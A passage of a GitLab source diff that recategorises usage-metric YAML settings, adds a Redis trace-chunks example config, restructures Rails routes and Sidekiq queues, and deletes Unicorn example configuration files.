-product_category: operational_metrics
+product_category: memory
value_type: boolean
status: data_available
time_frame: none
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/settings/20210216180900_background_upload.yml b/config/metrics/settings/20210216180900_background_upload.yml
index e9545888d6e..9cb4e2ed10e 100644
--- a/config/metrics/settings/20210216180900_background_upload.yml
+++ b/config/metrics/settings/20210216180900_background_upload.yml
@@ -4,7 +4,7 @@ description: Whether Background Upload for Object Storage is enabled for LFS
product_section: enablement
product_stage: enablement
product_group: group::memory
-product_category: operational_metrics
+product_category: memory
value_type: boolean
status: data_available
time_frame: none
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/settings/20210216180902_provider.yml b/config/metrics/settings/20210216180902_provider.yml
index d275a7ea535..2e9e11b9301 100644
--- a/config/metrics/settings/20210216180902_provider.yml
+++ b/config/metrics/settings/20210216180902_provider.yml
@@ -4,10 +4,10 @@ description: What Object Storage provider has been configured for LFS
product_section: enablement
product_stage: enablement
product_group: group::memory
-product_category: operational_metrics
+product_category: memory
value_type: string
status: data_available
-time_frame: all
+time_frame: none
data_source: system
distribution:
- ce
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/settings/20210216180903_enabled.yml b/config/metrics/settings/20210216180903_enabled.yml
index 5955ed2aa83..7c7f4f7bf57 100644
--- a/config/metrics/settings/20210216180903_enabled.yml
+++ b/config/metrics/settings/20210216180903_enabled.yml
@@ -4,10 +4,10 @@ description: Whether Object Storage is enabled for Uploads
product_section: enablement
product_stage: enablement
product_group: group::memory
-product_category: operational_metrics
+product_category: memory
value_type: string
status: data_available
-time_frame: all
+time_frame: none
data_source: system
distribution:
- ce
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/settings/20210216180905_enabled.yml b/config/metrics/settings/20210216180905_enabled.yml
index 475a38bc190..fa5d70567e8 100644
--- a/config/metrics/settings/20210216180905_enabled.yml
+++ b/config/metrics/settings/20210216180905_enabled.yml
@@ -4,7 +4,7 @@ description: Whether Object Storage is enabled for Uploads
product_section: enablement
product_stage: enablement
product_group: group::memory
-product_category: operational_metrics
+product_category: memory
value_type: boolean
status: data_available
time_frame: none
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/settings/20210216180907_direct_upload.yml b/config/metrics/settings/20210216180907_direct_upload.yml
index d6d8d46706b..8d2523f2e8f 100644
--- a/config/metrics/settings/20210216180907_direct_upload.yml
+++ b/config/metrics/settings/20210216180907_direct_upload.yml
@@ -4,7 +4,7 @@ description: Whether Direct Upload for Object Storage is enabled for Uploads
product_section: enablement
product_stage: enablement
product_group: group::memory
-product_category: operational_metrics
+product_category: memory
value_type: boolean
status: data_available
time_frame: none
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/settings/20210216180909_background_upload.yml b/config/metrics/settings/20210216180909_background_upload.yml
index 3f7317974c0..466c630717b 100644
--- a/config/metrics/settings/20210216180909_background_upload.yml
+++ b/config/metrics/settings/20210216180909_background_upload.yml
@@ -4,7 +4,7 @@ description: Whether Background Upload for Object Storage is enabled for Uploads
product_section: enablement
product_stage: enablement
product_group: group::memory
-product_category: operational_metrics
+product_category: memory
value_type: boolean
status: data_available
time_frame: none
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/settings/20210216180911_provider.yml b/config/metrics/settings/20210216180911_provider.yml
index 17cbafdd04a..75e5cda1f2b 100644
--- a/config/metrics/settings/20210216180911_provider.yml
+++ b/config/metrics/settings/20210216180911_provider.yml
@@ -4,10 +4,10 @@ description: What Object Storage provider has been configured for Uploads
product_section: enablement
product_stage: enablement
product_group: group::memory
-product_category: operational_metrics
+product_category: memory
value_type: string
status: data_available
-time_frame: all
+time_frame: none
data_source: system
distribution:
- ce
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/settings/20210216180913_enabled.yml b/config/metrics/settings/20210216180913_enabled.yml
index e5b38853325..806be543ad2 100644
--- a/config/metrics/settings/20210216180913_enabled.yml
+++ b/config/metrics/settings/20210216180913_enabled.yml
@@ -4,7 +4,7 @@ description: Whether Object Storage is enabled for Uploads
product_section: enablement
product_stage: enablement
product_group: group::memory
-product_category: operational_metrics
+product_category: memory
value_type: boolean
status: data_available
time_frame: none
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/settings/20210216180915_enabled.yml b/config/metrics/settings/20210216180915_enabled.yml
index d1b2c7a3e91..fb16bfe1e48 100644
--- a/config/metrics/settings/20210216180915_enabled.yml
+++ b/config/metrics/settings/20210216180915_enabled.yml
@@ -4,7 +4,7 @@ description: Whether Object Storage is enabled for Packages
product_section: enablement
product_stage: enablement
product_group: group::memory
-product_category: operational_metrics
+product_category: memory
value_type: boolean
status: data_available
time_frame: none
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/settings/20210216180916_direct_upload.yml b/config/metrics/settings/20210216180916_direct_upload.yml
index 11c70c327b2..f743723e6c3 100644
--- a/config/metrics/settings/20210216180916_direct_upload.yml
+++ b/config/metrics/settings/20210216180916_direct_upload.yml
@@ -4,7 +4,7 @@ description: Whether Direct Upload for Object Storage is enabled for Packages
product_section: enablement
product_stage: enablement
product_group: group::memory
-product_category: operational_metrics
+product_category: memory
value_type: boolean
status: data_available
time_frame: none
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/settings/20210216180918_background_upload.yml b/config/metrics/settings/20210216180918_background_upload.yml
index 066fc31a62d..ede74fba29e 100644
--- a/config/metrics/settings/20210216180918_background_upload.yml
+++ b/config/metrics/settings/20210216180918_background_upload.yml
@@ -4,7 +4,7 @@ description: Whether Background Upload for Object Storage is enabled for Package
product_section: enablement
product_stage: enablement
product_group: group::memory
-product_category: operational_metrics
+product_category: memory
value_type: boolean
status: data_available
time_frame: none
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/settings/20210216180920_provider.yml b/config/metrics/settings/20210216180920_provider.yml
index 94f34244840..4f94e0d07bc 100644
--- a/config/metrics/settings/20210216180920_provider.yml
+++ b/config/metrics/settings/20210216180920_provider.yml
@@ -4,10 +4,10 @@ description: What Object Storage provider has been configured for Packages
product_section: enablement
product_stage: enablement
product_group: group::memory
-product_category: operational_metrics
+product_category: memory
value_type: string
status: data_available
-time_frame: all
+time_frame: none
data_source: system
distribution:
- ce
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/settings/20210321224827_gitaly_apdex.yml b/config/metrics/settings/20210321224827_gitaly_apdex.yml
index 15db70b6008..8fe1e1edc0b 100644
--- a/config/metrics/settings/20210321224827_gitaly_apdex.yml
+++ b/config/metrics/settings/20210321224827_gitaly_apdex.yml
@@ -6,7 +6,7 @@ product_stage: create
product_group: group::gitaly
product_category: gitaly
value_type: number
-status: implemented
+status: data_available
milestone: "13.11"
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/47040
time_frame: none
diff --git a/config/redis.trace_chunks.yml.example b/config/redis.trace_chunks.yml.example
new file mode 100644
index 00000000000..d38b9ba4966
--- /dev/null
+++ b/config/redis.trace_chunks.yml.example
@@ -0,0 +1,38 @@
+# If you change this file in a merge request, please also create
+# a merge request on https://gitlab.com/gitlab-org/omnibus-gitlab/merge_requests
+#
+development:
+ url: redis://localhost:6379/13
+ #
+ # url: redis://localhost:6382
+ # sentinels:
+ # -
+ # host: localhost
+ # port: 26382 # point to sentinel, not to redis port
+ # -
+ # host: replica2
+ # port: 26382 # point to sentinel, not to redis port
+test:
+ url: redis://localhost:6379/13
+ #
+ # url: redis://localhost:6382
+production:
+ # Redis (single instance)
+ url: unix:/var/run/redis/redis.trace_chunks.sock
+ ##
+ # Redis + Sentinel (for HA)
+ #
+ # Please read instructions carefully before using it as you may lose data:
+ # http://redis.io/topics/sentinel
+ #
+ # You must specify a list of a few sentinels that will handle client connection
+ # please read here for more information: https://docs.gitlab.com/ee/administration/redis/index.html
+ ##
+ # url: redis://master:6382
+ # sentinels:
+ # -
+ # host: replica1
+ # port: 26382 # point to sentinel, not to redis port
+ # -
+ # host: replica2
+ # port: 26382 # point to sentinel, not to redis port
diff --git a/config/routes.rb b/config/routes.rb
index 3b0370551b9..f18085dbb54 100644
--- a/config/routes.rb
+++ b/config/routes.rb
@@ -44,6 +44,14 @@ Rails.application.routes.draw do
draw :oauth
use_doorkeeper_openid_connect
+ # Add OPTIONS method for CORS preflight requests
+ match '/oauth/userinfo' => 'doorkeeper/openid_connect/userinfo#show', via: :options
+ match '/oauth/discovery/keys' => 'doorkeeper/openid_connect/discovery#keys', via: :options
+ match '/.well-known/openid-configuration' => 'doorkeeper/openid_connect/discovery#provider', via: :options
+ match '/.well-known/webfinger' => 'doorkeeper/openid_connect/discovery#webfinger', via: :options
+
+ match '/oauth/token' => 'oauth/tokens#create', via: :options
+ match '/oauth/revoke' => 'oauth/tokens#revoke', via: :options
# Sign up
scope path: '/users/sign_up', module: :registrations, as: :users_sign_up do
@@ -252,38 +260,6 @@ Rails.application.routes.draw do
end
end
- # Deprecated routes.
- # Will be removed as part of https://gitlab.com/gitlab-org/gitlab/-/issues/210024
- scope as: :deprecated do
- # Autocomplete
- get '/autocomplete/users' => 'autocomplete#users'
- get '/autocomplete/users/:id' => 'autocomplete#user'
- get '/autocomplete/projects' => 'autocomplete#projects'
- get '/autocomplete/award_emojis' => 'autocomplete#award_emojis'
- get '/autocomplete/merge_request_target_branches' => 'autocomplete#merge_request_target_branches'
-
- Gitlab.ee do
- get '/autocomplete/project_groups' => 'autocomplete#project_groups'
- get '/autocomplete/project_routes' => 'autocomplete#project_routes'
- get '/autocomplete/namespace_routes' => 'autocomplete#namespace_routes'
- end
-
- resources :invites, only: [:show], constraints: { id: /[A-Za-z0-9_-]+/ } do
- member do
- post :accept
- match :decline, via: [:get, :post]
- end
- end
-
- resources :sent_notifications, only: [], constraints: { id: /\h{32}/ } do
- member do
- get :unsubscribe
- end
- end
-
- resources :abuse_reports, only: [:new, :create]
- end
-
resources :groups, only: [:index, :new, :create] do
post :preview_markdown
end
@@ -311,9 +287,13 @@ Rails.application.routes.draw do
# Issue https://gitlab.com/gitlab-org/gitlab/-/issues/210024
scope as: 'deprecated' do
- draw :snippets
+ # Issue https://gitlab.com/gitlab-org/gitlab/-/issues/223719
+ get '/snippets/:id/raw',
+ to: 'snippets#raw',
+ format: false,
+ constraints: { id: /\d+/ }
- Gitlab::Routing.redirect_legacy_paths(self, :profile)
+ Gitlab::Routing.redirect_legacy_paths(self, :snippets)
end
Gitlab.ee do
diff --git a/config/routes/admin.rb b/config/routes/admin.rb
index 2ba00e3bf66..7bd24ac5f5b 100644
--- a/config/routes/admin.rb
+++ b/config/routes/admin.rb
@@ -95,6 +95,7 @@ namespace :admin do
get :instance_review, to: 'instance_review#index'
+ resources :background_migrations, only: [:index]
resource :health_check, controller: 'health_check', only: [:show]
resource :background_jobs, controller: 'background_jobs', only: [:show]
@@ -103,7 +104,6 @@ namespace :admin do
resources :projects, only: [:index]
- get '/instance_statistics', to: redirect('admin/usage_trends')
resources :usage_trends, only: :index
resource :dev_ops_report, controller: 'dev_ops_report', only: :show
resources :cohorts, only: :index
@@ -124,15 +124,6 @@ namespace :admin do
end
end
- resource :appearances, only: [:show, :create, :update], path: 'appearance' do
- member do
- get :preview_sign_in
- delete :logo
- delete :header_logos
- delete :favicon
- end
- end
-
resource :application_settings, only: :update do
resources :services, only: [:index, :edit, :update]
resources :integrations, only: [:edit, :update] do
@@ -153,6 +144,15 @@ namespace :admin do
get :status_create_self_monitoring_project
delete :delete_self_monitoring_project
get :status_delete_self_monitoring_project
+
+ resource :appearances, only: [:show, :create, :update], path: 'appearance', module: 'application_settings' do
+ member do
+ get :preview_sign_in
+ delete :logo
+ delete :header_logos
+ delete :favicon
+ end
+ end
end
resources :plan_limits, only: :create
diff --git a/config/routes/project.rb b/config/routes/project.rb
index d62e2f1b2f2..641ca399547 100644
--- a/config/routes/project.rb
+++ b/config/routes/project.rb
@@ -50,7 +50,7 @@ constraints(::Constraints::ProjectUrlConstrainer.new) do
end
end
- resources :infrastructure_registry, only: [:index], module: :packages
+ resources :infrastructure_registry, only: [:index, :show], module: :packages
resources :jobs, only: [:index, :show], constraints: { id: /\d+/ } do
collection do
@@ -273,6 +273,7 @@ constraints(::Constraints::ProjectUrlConstrainer.new) do
resources :value_streams, only: [:index] do
resources :stages, only: [:index]
end
+ resource :summary, controller: :summary, only: :show
end
end
@@ -385,7 +386,6 @@ constraints(::Constraints::ProjectUrlConstrainer.new) do
# The wiki and repository routing contains wildcard characters so
# its preferable to keep it below all other project routes
- draw :repository_scoped
draw :repository
draw :wiki
@@ -404,7 +404,7 @@ constraints(::Constraints::ProjectUrlConstrainer.new) do
resource :feature_flags_client, only: [] do
post :reset_token
end
- resources :feature_flags_user_lists, param: :iid, only: [:new, :edit, :show]
+ resources :feature_flags_user_lists, param: :iid, only: [:index, :new, :edit, :show]
get '/schema/:branch/*filename',
to: 'web_ide_schemas#show',
@@ -566,15 +566,15 @@ constraints(::Constraints::ProjectUrlConstrainer.new) do
# Deprecated unscoped routing.
scope as: 'deprecated' do
# Issue https://gitlab.com/gitlab-org/gitlab/issues/118849
- draw :repository
+ draw :repository_deprecated
- # Issue https://gitlab.com/gitlab-org/gitlab/-/issues/29572
- resources :snippets, concerns: :awardable, constraints: { id: /\d+/ } do # rubocop: disable Cop/PutProjectRoutesUnderScope
- member do
- get :raw # rubocop:todo Cop/PutProjectRoutesUnderScope
- post :mark_as_spam # rubocop:todo Cop/PutProjectRoutesUnderScope
- end
- end
+ # Issue https://gitlab.com/gitlab-org/gitlab/-/issues/223719
+ # rubocop: disable Cop/PutProjectRoutesUnderScope
+ get '/snippets/:id/raw',
+ to: 'snippets#raw',
+ format: false,
+ constraints: { id: /\d+/ }
+ # rubocop: enable Cop/PutProjectRoutesUnderScope
end
# All new routes should go under /-/ scope.
@@ -584,12 +584,13 @@ constraints(::Constraints::ProjectUrlConstrainer.new) do
# Introduced in 12.0.
# Should be removed with https://gitlab.com/gitlab-org/gitlab/issues/28848.
Gitlab::Routing.redirect_legacy_paths(self, :mirror, :tags, :hooks,
+ :commits, :commit, :find_file, :files, :compare,
:cycle_analytics, :mattermost, :variables, :triggers,
:environments, :protected_environments, :error_tracking, :alert_management,
:tracing,
:serverless, :clusters, :audit_events, :wikis, :merge_requests,
:vulnerability_feedback, :security, :dependencies, :issues,
- :pipelines, :pipeline_schedules)
+ :pipelines, :pipeline_schedules, :snippets)
end
# rubocop: disable Cop/PutProjectRoutesUnderScope
diff --git a/config/routes/repository.rb b/config/routes/repository.rb
index 58de3d29bb0..d2be18c62f9 100644
--- a/config/routes/repository.rb
+++ b/config/routes/repository.rb
@@ -1,24 +1,8 @@
# frozen_string_literal: true
# All routing related to repository browsing
+# that is already under /-/ scope only
-resource :repository, only: [:create]
-
-resources :commit, only: [:show], constraints: { id: /\h{7,40}/ } do
- member do
- get :branches
- get :pipelines
- post :revert
- post :cherry_pick
- get :diff_for_path
- get :diff_files
- get :merge_requests
- end
-end
-
-# NOTE: Add new routes to repository_scoped.rb instead (see
-# https://docs.gitlab.com/ee/development/routing.html#project-routes).
-#
# Don't use format parameter as file extension (old 3.0.x behavior)
# See http://guides.rubyonrails.org/routing.html#route-globbing-and-wildcard-segments
scope format: false do
@@ -39,6 +23,7 @@ scope format: false do
member do
# tree viewer logs
get 'logs_tree', constraints: { id: Gitlab::PathRegex.git_reference_regex }
+
# Directories with leading dots erroneously get rejected if git
# ref regex used in constraints. Regex verification now done in controller.
get 'logs_tree/*path', action: :logs_tree, as: :logs_file, format: false, constraints: {
@@ -48,6 +33,39 @@ scope format: false do
end
end
+ scope constraints: { id: Gitlab::PathRegex.git_reference_regex } do
+ resources :network, only: [:show]
+
+ resources :graphs, only: [:show] do
+ member do
+ get :charts
+ get :commits
+ get :ci
+ get :languages
+ end
+ end
+
+ get '/branches/:state', to: 'branches#index', as: :branches_filtered, constraints: { state: /active|stale|all/ }
+ resources :branches, only: [:index, :new, :create, :destroy] do
+ get :diverging_commit_counts, on: :collection
+ end
+
+ delete :merged_branches, controller: 'branches', action: :destroy_all_merged
+ resources :tags, only: [:index, :show, :new, :create, :destroy] do
+ resource :release, controller: 'tags/releases', only: [:edit, :update]
+ end
+
+ resources :protected_branches, only: [:index, :show, :create, :update, :destroy, :patch], constraints: { id: Gitlab::PathRegex.git_reference_regex }
+ resources :protected_tags, only: [:index, :show, :create, :update, :destroy]
+
+ scope constraints: { id: /[^\0]+?/ } do
+ scope controller: :static_site_editor do
+ get '/sse/:id(/*vueroute)', action: :show, as: :show_sse
+ get '/sse', as: :root_sse, action: :index
+ end
+ end
+ end
+
scope constraints: { id: /[^\0]+/ } do
scope controller: :blob do
get '/new/*id', action: :new, as: :new_blob
@@ -77,8 +95,21 @@ scope format: false do
scope controller: :find_file do
get '/find_file/*id', action: :show, as: :find_file
-
get '/files/*id', action: :list, as: :files
end
end
end
+
+resources :commit, only: [:show], constraints: { id: /\h{7,40}/ } do
+ member do
+ get :branches
+ get :pipelines
+ post :revert
+ post :cherry_pick
+ get :diff_for_path
+ get :diff_files
+ get :merge_requests
+ end
+end
+
+resource :repository, only: [:create]
diff --git a/config/routes/repository_deprecated.rb b/config/routes/repository_deprecated.rb
new file mode 100644
index 00000000000..e611b4f665b
--- /dev/null
+++ b/config/routes/repository_deprecated.rb
@@ -0,0 +1,36 @@
+# frozen_string_literal: true
+
+# Repository routes without /-/ scope.
+# Issue https://gitlab.com/gitlab-org/gitlab/-/issues/28848.
+# Do not add new routes here. Add new routes to repository.rb instead
+# (see https://docs.gitlab.com/ee/development/routing.html#project-routes).
+
+resource :repository, only: [:create]
+
+# Don't use format parameter as file extension (old 3.0.x behavior)
+# See http://guides.rubyonrails.org/routing.html#route-globbing-and-wildcard-segments
+scope format: false do
+ get '/refs/switch',
+ to: redirect('%{namespace_id}/%{project_id}/-/refs/switch')
+
+ get '/refs/:id/logs_tree',
+ to: redirect('%{namespace_id}/%{project_id}/-/refs/%{id}/logs_tree'),
+ constraints: { id: Gitlab::PathRegex.git_reference_regex }
+
+ get '/refs/:id/logs_tree/*path',
+ to: redirect('%{namespace_id}/%{project_id}/-/refs/%{id}/logs_tree/%{path}'),
+ constraints: { id: /.*/, path: /[^\0]*/ }
+
+ scope constraints: { id: /[^\0]+/ } do
+ # Deprecated. Keep for compatibility.
+ # Issue https://gitlab.com/gitlab-org/gitlab/-/issues/118849
+ get '/tree/*id', to: 'tree#show', as: :deprecated_tree
+ get '/blob/*id', to: 'blob#show', as: :deprecated_blob
+ get '/raw/*id', to: 'raw#show', as: :deprecated_raw
+ get '/blame/*id', to: 'blame#show', as: :deprecated_blame
+
+ # Redirect those explicitly since `redirect_legacy_paths` conflicts with project new/edit actions
+ get '/new/*id', to: redirect('%{namespace_id}/%{project_id}/-/new/%{id}')
+ get '/edit/*id', to: redirect('%{namespace_id}/%{project_id}/-/edit/%{id}')
+ end
+end
diff --git a/config/routes/repository_scoped.rb b/config/routes/repository_scoped.rb
deleted file mode 100644
index 7fabf3ff895..00000000000
--- a/config/routes/repository_scoped.rb
+++ /dev/null
@@ -1,41 +0,0 @@
-# frozen_string_literal: true
-
-# All routing related to repository browsing
-# that is already under /-/ scope only
-
-# Don't use format parameter as file extension (old 3.0.x behavior)
-# See http://guides.rubyonrails.org/routing.html#route-globbing-and-wildcard-segments
-scope format: false do
- scope constraints: { id: Gitlab::PathRegex.git_reference_regex } do
- resources :network, only: [:show]
-
- resources :graphs, only: [:show] do
- member do
- get :charts
- get :commits
- get :ci
- get :languages
- end
- end
-
- get '/branches/:state', to: 'branches#index', as: :branches_filtered, constraints: { state: /active|stale|all/ }
- resources :branches, only: [:index, :new, :create, :destroy] do
- get :diverging_commit_counts, on: :collection
- end
-
- delete :merged_branches, controller: 'branches', action: :destroy_all_merged
- resources :tags, only: [:index, :show, :new, :create, :destroy] do
- resource :release, controller: 'tags/releases', only: [:edit, :update]
- end
-
- resources :protected_branches, only: [:index, :show, :create, :update, :destroy, :patch], constraints: { id: Gitlab::PathRegex.git_reference_regex }
- resources :protected_tags, only: [:index, :show, :create, :update, :destroy]
-
- scope constraints: { id: /[^\0]+?/ } do
- scope controller: :static_site_editor do
- get '/sse/:id(/*vueroute)', action: :show, as: :show_sse
- get '/sse', as: :root_sse, action: :index
- end
- end
- end
-end
diff --git a/config/routes/user.rb b/config/routes/user.rb
index 41319b6d730..5f746eb6670 100644
--- a/config/routes/user.rb
+++ b/config/routes/user.rb
@@ -49,7 +49,6 @@ scope(constraints: { username: Gitlab::PathRegex.root_namespace_route_regex }) d
get :followers
get :following
get :exists
- get :suggests
get :activity
post :follow
post :unfollow
diff --git a/config/sidekiq_queues.yml b/config/sidekiq_queues.yml
index fed37b99715..f315a8cb28e 100644
--- a/config/sidekiq_queues.yml
+++ b/config/sidekiq_queues.yml
@@ -32,8 +32,6 @@
- 1
- - analytics_devops_adoption_create_snapshot
- 1
-- - analytics_instance_statistics_counter_job
- - 1
- - analytics_usage_trends_counter_job
- 1
- - approval_rules_external_approval_rule_payload
@@ -118,8 +116,6 @@
- 1
- - elastic_full_index
- 1
-- - elastic_indexer
- - 1
- - elastic_indexing_control
- 1
- - elastic_namespace_indexer
@@ -152,8 +148,6 @@
- 1
- - geo
- 1
-- - git_garbage_collect
- - 1
- - github_import_advance_stage
- 1
- - github_importer
@@ -220,8 +214,6 @@
- 1
- - merge_request_reset_approvals
- 1
-- - merge_requests_assignees_change
- - 1
- - merge_requests_delete_source_branch
- 1
- - merge_requests_handle_assignees_change
@@ -304,14 +296,10 @@
- 1
- - project_import_schedule
- 1
-- - project_schedule_bulk_repository_shard_moves
- - 1
- - project_service
- 1
- - project_template_export
- 1
-- - project_update_repository_storage
- - 1
- - projects_git_garbage_collect
- 1
- - projects_post_creation
@@ -376,10 +364,6 @@
- 1
- - set_user_status_based_on_user_cap_setting
- 1
-- - snippet_schedule_bulk_repository_shard_moves
- - 1
-- - snippet_update_repository_storage
- - 1
- - snippets_schedule_bulk_repository_shard_moves
- 1
- - snippets_update_repository_storage
@@ -406,8 +390,6 @@
- 1
- - upload_checksum
- 1
-- - users_update_open_issue_count
- - 1
- - vulnerabilities_statistics_adjustment
- 1
- - vulnerability_exports_export
@@ -418,6 +400,8 @@
- 1
- - web_hooks_destroy
- 1
+- - web_hooks_log_execution
+ - 1
- - wikis_git_garbage_collect
- 1
- - x509_certificate_revoke
diff --git a/config/unicorn.rb.example b/config/unicorn.rb.example
deleted file mode 100644
index c930e2ff761..00000000000
--- a/config/unicorn.rb.example
+++ /dev/null
@@ -1,144 +0,0 @@
-# Sample verbose configuration file for Unicorn (not Rack)
-#
-# This configuration file documents many features of Unicorn
-# that may not be needed for some applications. See
-# http://unicorn.bogomips.org/examples/unicorn.conf.minimal.rb
-# for a much simpler configuration file.
-#
-# See http://unicorn.bogomips.org/Unicorn/Configurator.html for complete
-# documentation.
-
-# Note: If you change this file in a merge request, please also create a
-# merge request on https://gitlab.com/gitlab-org/omnibus-gitlab/merge_requests
-
-# Relative URL support
-# WARNING: We recommend using an FQDN to host GitLab in a root path instead
-# of using a relative URL.
-# Documentation: http://doc.gitlab.com/ce/install/relative_url.html
-# Uncomment and customize the following line to run in a non-root path
-#
-# ENV['RAILS_RELATIVE_URL_ROOT'] = "/gitlab"
-
-# Read about unicorn workers here:
-# http://doc.gitlab.com/ee/install/requirements.html#unicorn-workers
-#
-worker_processes 3
-
-# Since Unicorn is never exposed to outside clients, it does not need to
-# run on the standard HTTP port (80), there is no reason to start Unicorn
-# as root unless it's from system init scripts.
-# If running the master process as root and the workers as an unprivileged
-# user, do this to switch euid/egid in the workers (also chowns logs):
-# user "unprivileged_user", "unprivileged_group"
-
-# Help ensure your application will always spawn in the symlinked
-# "current" directory that Capistrano sets up.
-working_directory "/home/git/gitlab" # available in 0.94.0+
-
-# Listen on both a Unix domain socket and a TCP port.
-# If you are load-balancing multiple Unicorn masters, lower the backlog
-# setting to e.g. 64 for faster failover.
-listen "/home/git/gitlab/tmp/sockets/gitlab.socket", :backlog => 1024
-listen "127.0.0.1:8080", :tcp_nopush => true
-
-# destroy workers after 30 seconds instead of 60 seconds (the default)
-#
-# NOTICE: git push over http depends on this value.
-# If you want to be able to push huge amount of data to git repository over http
-# you will have to increase this value too.
-#
-# Example of output if you try to push 1GB repo to GitLab over http.
-# -> git push http://gitlab.... master
-#
-# error: RPC failed; result=18, HTTP code = 200
-# fatal: The remote end hung up unexpectedly
-# fatal: The remote end hung up unexpectedly
-#
-# For more information see http://stackoverflow.com/a/21682112/752049
-#
-timeout 60
-
-# feel free to point this anywhere accessible on the filesystem
-pid "/home/git/gitlab/tmp/pids/unicorn.pid"
-
-# By default, the Unicorn logger will write to stderr.
-# Additionally, some applications/frameworks log to stderr or stdout,
-# so prevent them from going to /dev/null when daemonized here:
-stderr_path "/home/git/gitlab/log/unicorn.stderr.log"
-stdout_path "/home/git/gitlab/log/unicorn.stdout.log"
-
-# Save memory by sharing the application code among multiple Unicorn workers
-# with "preload_app true". See:
-# https://www.rubydoc.info/gems/unicorn/5.1.0/Unicorn%2FConfigurator:preload_app
-# https://brandur.org/ruby-memory#copy-on-write
-preload_app true
-
-# Enable this flag to have unicorn test client connections by writing the
-# beginning of the HTTP headers before calling the application. This
-# prevents calling the application for connections that have disconnected
-# while queued. This is only guaranteed to detect clients on the same
-# host unicorn runs on, and unlikely to detect disconnects even on a
-# fast LAN.
-check_client_connection false
-
-require_relative "/home/git/gitlab/lib/gitlab/cluster/lifecycle_events"
-require_relative "/home/git/gitlab/lib/gitlab/log_timestamp_formatter.rb"
-
-before_exec do |server|
- # Signal application hooks that we're about to restart
- Gitlab::Cluster::LifecycleEvents.do_before_master_restart
-end
-
-run_once = true
-
-before_fork do |server, worker|
- if run_once
- # There is a difference between Puma and Unicorn:
- # - Puma calls before_fork once when booting up master process
- # - Unicorn runs before_fork whenever new work is spawned
- # To unify this behavior we call before_fork only once (we use
- # this callback for deleting Prometheus files so for our purposes
- # it makes sense to align behavior with Puma)
- run_once = false
-
- # Signal application hooks that we're about to fork
- Gitlab::Cluster::LifecycleEvents.do_before_fork
- end
-
- # The following is only recommended for memory/DB-constrained
- # installations. It is not needed if your system can house
- # twice as many worker_processes as you have configured.
- #
- # This allows a new master process to incrementally
- # phase out the old master process with SIGTTOU to avoid a
- # thundering herd (especially in the "preload_app false" case)
- # when doing a transparent upgrade. The last worker spawned
- # will then kill off the old master process with a SIGQUIT.
- old_pid = "#{server.config[:pid]}.oldbin"
- if old_pid != server.pid
- begin
- sig = (worker.nr + 1) >= server.worker_processes ? :QUIT : :TTOU
- Process.kill(sig, File.read(old_pid).to_i)
- rescue Errno::ENOENT, Errno::ESRCH
- end
- end
- #
- # Throttle the master from forking too quickly by sleeping. Due
- # to the implementation of standard Unix signal handlers, this
- # helps (but does not completely) prevent identical, repeated signals
- # from being lost when the receiving process is busy.
- # sleep 1
-end
-
-after_fork do |server, worker|
- # Signal application hooks of worker start
- Gitlab::Cluster::LifecycleEvents.do_worker_start
-
- # per-process listener ports for debugging/admin/migrations
- # addr = "127.0.0.1:#{9293 + worker.nr}"
- # server.listen(addr, :tries => -1, :delay => 5, :tcp_nopush => true)
-end
-
-# Configure the default logger to use a custom formatter that formats the
-# timestamps to be in UTC and in ISO8601.3 format
-Configurator::DEFAULTS[:logger].formatter = Gitlab::LogTimestampFormatter.new
diff --git a/config/unicorn.rb.example.development b/config/unicorn.rb.example.development
deleted file mode 100644
index 2c6e809f753..00000000000
--- a/config/unicorn.rb.example.development
+++ /dev/null
@@ -1,77 +0,0 @@
-# frozen_string_literal: true
-
-# -------------------------------------------------------------------------
-# This file is used by the GDK to generate a default config/unicorn.rb file
-# Note that `/home/git` will be substituted for the actual GDK root
-# directory when this file is generated
-# -------------------------------------------------------------------------
-
-worker_processes 2
-timeout 60
-
-listen '/home/git/gitlab.socket'
-
-preload_app true
-check_client_connection false
-
-require_relative "/home/git/gitlab/lib/gitlab/cluster/lifecycle_events"
-require_relative "/home/git/gitlab/lib/gitlab/log_timestamp_formatter.rb"
-
-before_exec do |server|
- # Signal application hooks that we're about to restart
- Gitlab::Cluster::LifecycleEvents.do_before_master_restart
-end
-
-run_once = true
-
-before_fork do |server, worker|
- if run_once
- # There is a difference between Puma and Unicorn:
- # - Puma calls before_fork once when booting up master process
- # - Unicorn runs before_fork whenever new work is spawned
- # To unify this behavior we call before_fork only once (we use
- # this callback for deleting Prometheus files so for our purposes
- # it makes sense to align behavior with Puma)
- run_once = false
-
- # Signal application hooks that we're about to fork
- Gitlab::Cluster::LifecycleEvents.do_before_fork
- end
-
- # The following is only recommended for memory/DB-constrained
- # installations. It is not needed if your system can house
- # twice as many worker_processes as you have configured.
- #
- # This allows a new master process to incrementally
- # phase out the old master process with SIGTTOU to avoid a
- # thundering herd (especially in the "preload_app false" case)
- # when doing a transparent upgrade. The last worker spawned
- # will then kill off the old master process with a SIGQUIT.
- old_pid = "#{server.config[:pid]}.oldbin"
- if old_pid != server.pid
- begin
- sig = (worker.nr + 1) >= server.worker_processes ? :QUIT : :TTOU
- Process.kill(sig, File.read(old_pid).to_i)
- rescue Errno::ENOENT, Errno::ESRCH
